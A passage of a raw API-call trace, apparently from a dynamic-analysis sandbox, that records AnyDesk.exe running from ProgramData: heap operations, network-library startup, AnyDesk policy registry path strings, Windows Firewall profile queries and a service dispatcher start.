Flags=0x0, Size=0x14) returned 0x196bda8 [0283.497] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196bda8 | out: hHeap=0x1930000) returned 1 [0283.497] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x60) returned 0x1960060 [0283.497] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x40) returned 0x1970618 [0283.497] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993c28 [0283.498] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x1993c40 [0283.498] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993c58 [0283.498] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x1993c70 [0283.498] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993d18 [0283.498] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x1993d00 [0283.498] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993ce8 [0283.498] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x1993cd0 [0283.498] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993cb8 [0283.498] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x1993c88 [0283.498] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1993ca0 [0283.498] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x1961060 [0283.498] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19610a8 [0283.498] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x1961078 [0283.498] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19610c0 [0283.498] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x19610d8 [0283.498] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19610f0 [0283.498] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x1961108 [0283.498] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1961120 [0283.499] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x1961138 [0283.499] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1961150 [0283.499] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x1961168 [0283.505] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1961180 [0283.505] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x1961198 [0283.505] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19611b0 [0283.505] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x19611c8 [0283.505] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19611e0 [0283.505] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x19611f8 [0283.505] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1961210 [0283.505] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x1961228 [0283.505] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1961240 [0283.505] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x1961258 [0283.505] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1961270 [0283.505] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x1961288 [0283.505] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19612a0 [0283.505] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x19612b8 [0283.506] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19612d0 [0283.506] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x19612e8 [0283.506] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x1961300 [0283.506] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xc) returned 0x1961318 [0283.506] RtlReAllocateHeap (Heap=0x1930000, Flags=0x0, Ptr=0x1970618, Size=0x80) returned 0x19738c8 [0283.506] SetPriorityClass (hProcess=0xffffffff, dwPriorityClass=0x80) returned 1 [0283.506] WSAStartup (in: wVersionRequired=0x202, lpWSAData=0x12d5fbc | out: lpWSAData=0x12d5fbc) returned 0 [0283.549] QueryPerformanceFrequency (in: lpFrequency=0x12d6144 | out: lpFrequency=0x12d6144*=100000000) returned 1 [0283.549] QueryPerformanceCounter (in: lpPerformanceCount=0x12d6144 | out: lpPerformanceCount=0x12d6144*=2565150318507) returned 1 [0283.550] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x12d6138 | out: lpSystemTimeAsFileTime=0x12d6138*(dwLowDateTime=0xe3310ec0, dwHighDateTime=0x1d8a8f3)) [0283.550] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x12d407c, nSize=0x1000 | out: lpFilename="C:\\ProgramData\\AnyDesk\\AnyDesk.exe" (normalized: "c:\\programdata\\anydesk\\anydesk.exe")) returned 0x22 [0283.550] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1995cb0 | out: hHeap=0x1930000) returned 1 [0283.550] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x46) returned 0x198c198 [0283.550] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x196f330 [0283.550] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1995c90 | out: hHeap=0x1930000) returned 1 [0283.550] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x196bc08 [0283.550] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1995ca0 | out: hHeap=0x1930000) returned 1 [0283.550] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x196f4f0 [0283.551] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c198 | out: hHeap=0x1930000) returned 1 [0283.551] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196bc08 | out: hHeap=0x1930000) returned 1 [0283.551] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196f330 | out: hHeap=0x1930000) returned 1 [0283.551] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ead60, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 2 [0283.551] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x4) returned 0x1995ca0 [0283.551] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7ead60, cbMultiByte=-1, lpWideCharStr=0x1995ca0, cchWideChar=2 | out: lpWideCharStr="\\") returned 2 [0283.552] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x30) returned 0x196f330 [0283.552] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1995ca0 | out: hHeap=0x1930000) returned 1 [0283.552] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x42) returned 0x198c198 [0283.552] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196f330 | out: hHeap=0x1930000) returned 1 [0283.552] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196f4f0 | out: hHeap=0x1930000) returned 1 [0283.552] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196bc88 | out: hHeap=0x1930000) returned 1 [0283.552] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1995c80 | out: hHeap=0x1930000) returned 1 [0283.552] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x42) returned 0x198c288 [0283.553] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x19957f8 [0283.553] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x42) returned 0x198c238 [0283.553] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c198 | out: hHeap=0x1930000) returned 1 [0283.553] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1995c80 [0283.553] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1995ca0 [0283.553] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1995c90 [0283.553] GetLocaleInfoW (in: Locale=0x400, LCType=0x1002, lpLCData=0x0, cchData=0 | out: lpLCData=0x0) returned 14 [0283.553] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1c) returned 0x1972fc0 [0283.553] GetLocaleInfoW (in: Locale=0x400, LCType=0x1002, lpLCData=0x1972fc0, cchData=14 | out: lpLCData="United States") returned 14 [0283.553] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1c) returned 0x1973100 [0283.553] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1995c90 | out: hHeap=0x1930000) returned 1 [0283.553] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1972fc0 | out: hHeap=0x1930000) returned 1 [0283.554] GetCurrentProcess () returned 0xffffffff [0283.554] GetProcessId (Process=0xffffffff) returned 0x51c [0283.554] ProcessIdToSessionId (in: dwProcessId=0x51c, pSessionId=0x12d60d8 | out: pSessionId=0x12d60d8) returned 1 [0283.554] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1995c90 [0283.554] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1995cb0 [0283.554] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1995cc0 [0283.554] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x1c8 [0283.554] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x1cc [0283.554] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x1d0 [0283.554] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0xab) returned 0x1977330 [0283.554] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x1b) returned 0x1972fc0 [0283.554] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x1d4 [0283.554] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1995cd0 [0283.554] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1995ce0 [0283.554] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1995cf0 [0283.554] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1995d00 [0283.554] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1995d10 [0283.554] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1995d20 [0283.554] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1995d30 [0283.555] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1995d40 [0283.555] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1995d50 [0283.555] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1995d60 [0283.555] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1995d70 [0283.555] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1995d80 [0283.555] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1995d90 [0283.555] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1995da0 [0283.555] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1995db0 [0283.555] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1995dc0 [0283.555] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1995dd0 [0283.555] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1995de0 [0283.555] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1995df0 [0283.555] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1995e00 [0283.555] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1995e10 [0283.555] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1995e20 [0283.555] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1995e30 [0283.555] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1995e40 [0283.555] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1995e50 [0283.555] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1995e60 [0283.555] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1995e70 [0283.555] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1995e80 [0283.555] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1995e90 [0283.555] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1995ea0 [0283.555] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1995eb0 [0283.555] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1995ec0 [0283.555] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1995ed0 [0283.556] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1995ee0 [0283.556] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1995ef0 [0283.556] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1995f00 [0283.556] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1995f10 [0283.556] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1995f20 [0283.556] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1995f30 [0283.556] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1995f40 [0283.556] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x1995f50 [0283.556] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19a5e88 [0283.556] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19a5e98 [0283.556] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19a5ea8 [0283.556] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19a5eb8 [0283.556] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19a5ec8 [0283.556] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19a5ed8 [0283.556] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19a5ee8 [0283.556] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19a5ef8 [0283.556] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19a5f08 [0283.556] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19a5f18 [0283.556] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19a5f28 [0283.556] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19a5f38 [0283.556] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19a5f48 [0283.556] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19a5f58 [0283.556] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19a5f68 [0283.556] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19a5f78 [0283.556] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19a5f88 [0283.556] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19a5f98 [0283.557] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19a5fa8 [0283.557] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19a5fb8 [0283.557] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19a5fc8 [0283.557] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19a5fd8 [0283.557] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x19a5fe8 [0283.557] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc27048, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 34 [0283.557] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x44) returned 0x198c198 [0283.557] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc27048, cbMultiByte=-1, lpWideCharStr=0x198c198, cchWideChar=34 | out: lpWideCharStr="Software\\Policies\\AnyDesk\\Config\\") returned 34 [0283.557] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0283.557] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x6) returned 0x19a5ff8 [0283.557] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09c5c, cbMultiByte=-1, lpWideCharStr=0x19a5ff8, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0283.557] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0283.557] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x6) returned 0x19a6008 [0283.557] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09c5c, cbMultiByte=-1, lpWideCharStr=0x19a6008, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0283.557] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a6008 | out: hHeap=0x1930000) returned 1 [0283.557] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc27078, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 9 [0283.557] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x12) returned 0x196bc88 [0283.557] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc27078, cbMultiByte=-1, lpWideCharStr=0x196bc88, cchWideChar=9 | out: lpWideCharStr="Defaults") returned 9 [0283.557] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x54) returned 0x1975e40 [0283.558] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c198 | out: hHeap=0x1930000) returned 1 [0283.558] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196bc88 | out: hHeap=0x1930000) returned 1 [0283.558] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a5ff8 | out: hHeap=0x1930000) returned 1 [0283.558] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1995c90 | out: hHeap=0x1930000) returned 1 [0283.558] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc27048, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 34 [0283.558] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x44) returned 0x198c198 [0283.558] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc27048, cbMultiByte=-1, lpWideCharStr=0x198c198, cchWideChar=34 | out: lpWideCharStr="Software\\Policies\\AnyDesk\\Config\\") returned 34 [0283.558] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0283.558] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x6) returned 0x1995c90 [0283.558] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09c5c, cbMultiByte=-1, lpWideCharStr=0x1995c90, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0283.558] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09c5c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 3 [0283.558] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x6) returned 0x19a5ff8 [0283.558] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc09c5c, cbMultiByte=-1, lpWideCharStr=0x19a5ff8, cchWideChar=3 | out: lpWideCharStr="ad") returned 3 [0283.558] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x19a5ff8 | out: hHeap=0x1930000) returned 1 [0283.558] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc2706c, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 10 [0283.559] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196bc88 [0283.559] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xc2706c, cbMultiByte=-1, lpWideCharStr=0x196bc88, cchWideChar=10 | out: lpWideCharStr="Overrides") returned 10 [0283.559] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x56) returned 0x1975de0 [0283.559] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x198c198 | out: hHeap=0x1930000) returned 1 [0283.559] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196bc88 | out: hHeap=0x1930000) returned 1 [0283.559] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1995c90 | out: hHeap=0x1930000) returned 1 [0283.559] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1995cb0 | out: hHeap=0x1930000) returned 1 [0283.559] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1995cc0 | out: hHeap=0x1930000) returned 1 [0283.559] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x24) returned 0x1961c60 [0283.559] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbd24c8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 20 [0283.559] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x28) returned 0x1961c90 [0283.560] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0xbd24c8, cbMultiByte=-1, lpWideCharStr=0x1961c90, cchWideChar=20 | out: lpWideCharStr="ad.features.connect") returned 20 [0283.560] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x28) returned 0x1961cc0 [0283.560] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x28) returned 0x1961cf0 [0283.560] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x14) returned 0x196bc88 [0283.560] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x28) returned 0x1961d20 [0283.560] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961cf0 | out: hHeap=0x1930000) returned 1 [0283.560] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x1961c90 | out: hHeap=0x1930000) returned 1 [0283.560] GetTickCount () returned 0xb877 [0283.561] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x1d8 [0283.561] StartServiceCtrlDispatcherW (lpServiceTable=0x12d61a8*(lpServiceName="", lpServiceProc=0x21b200)) Thread: id = 560 os_tid = 0x5c4 Thread: id = 561 os_tid = 0x5c8 [0283.138] OleInitialize (pvReserved=0x0) returned 0x0 [0283.139] SetEvent (hEvent=0x178) returned 1 [0283.139] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x193f360 [0283.139] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x193f380 [0283.139] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2) returned 0x196edc0 [0283.180] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1d2db30, nSize=0x1000 | out: lpFilename="C:\\ProgramData\\AnyDesk\\AnyDesk.exe" (normalized: "c:\\programdata\\anydesk\\anydesk.exe")) returned 0x22 [0283.180] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x196edc0 | out: hHeap=0x1930000) returned 1 [0283.181] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x46) returned 0x19793c0 [0283.181] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x2e) returned 0x198ce18 [0283.181] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f360 | out: hHeap=0x1930000) returned 1 [0283.181] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x18) returned 0x196b988 [0283.181] HeapFree (in: hHeap=0x1930000, dwFlags=0x0, lpMem=0x193f380 | out: hHeap=0x1930000) returned 1 [0283.181] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7eaca8, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 8 [0283.181] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, Size=0x10) returned 0x196d3b8 [0283.181] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x7eaca8, cbMultiByte=-1, lpWideCharStr=0x196d3b8, cchWideChar=8 | out: lpWideCharStr="AnyDesk") returned 8 [0283.181] CoCreateInstance (in: rclsid=0x7e12d4*(Data1=0x304ce942, Data2=0x6e39, Data3=0x40d8, Data4=([0]=0x94, [1]=0x3a, [2]=0xb9, [3]=0x13, [4]=0xc4, [5]=0xc, [6]=0x9c, [7]=0xd4)), pUnkOuter=0x0, dwClsContext=0x1, riid=0x7e12b4*(Data1=0xf7898af5, Data2=0xcac4, Data3=0x4632, Data4=([0]=0xa2, [1]=0xec, [2]=0xda, [3]=0x6, [4]=0xe5, [5]=0x11, [6]=0x1a, [7]=0xf2)), ppv=0x1d2fb18 | out: ppv=0x1d2fb18*=0x18f888) returned 0x0 [0285.133] NetFwMgr:INetFwMgr:get_LocalPolicy (in: This=0x18f888, LocalPolicy=0x1d2fb08 | out: LocalPolicy=0x1d2fb08*=0x18f8a8) returned 0x0 [0285.197] INetFwPolicy:GetProfileByType (in: This=0x18f8a8, profileType=1, profile=0x1d2fb0c | out: profile=0x1d2fb0c*=0x2001a00) returned 0x0 [0285.198] INetFwPolicy:GetProfileByType (in: This=0x18f8a8, profileType=2, profile=0x1d2fb10 | out: profile=0x1d2fb10*=0x2001dc0) returned 0x0 [0285.218] INetFwPolicy:GetProfileByType (in: This=0x18f8a8, profileType=0, profile=0x1d2fb14 | out: profile=0x1d2fb14*=0x18f8c8) returned 0x0 [0285.218] NetFwMgr:IUnknown:Release (This=0x18f8a8) returned 0x1 [0285.218] NetFwMgr:IUnknown:Release (This=0x18f888) returned 0x0 [0285.218] GetLastError () returned 0x0 [0285.218] RtlAllocateHeap (HeapHandle=0x1930000, Flags=0x0, 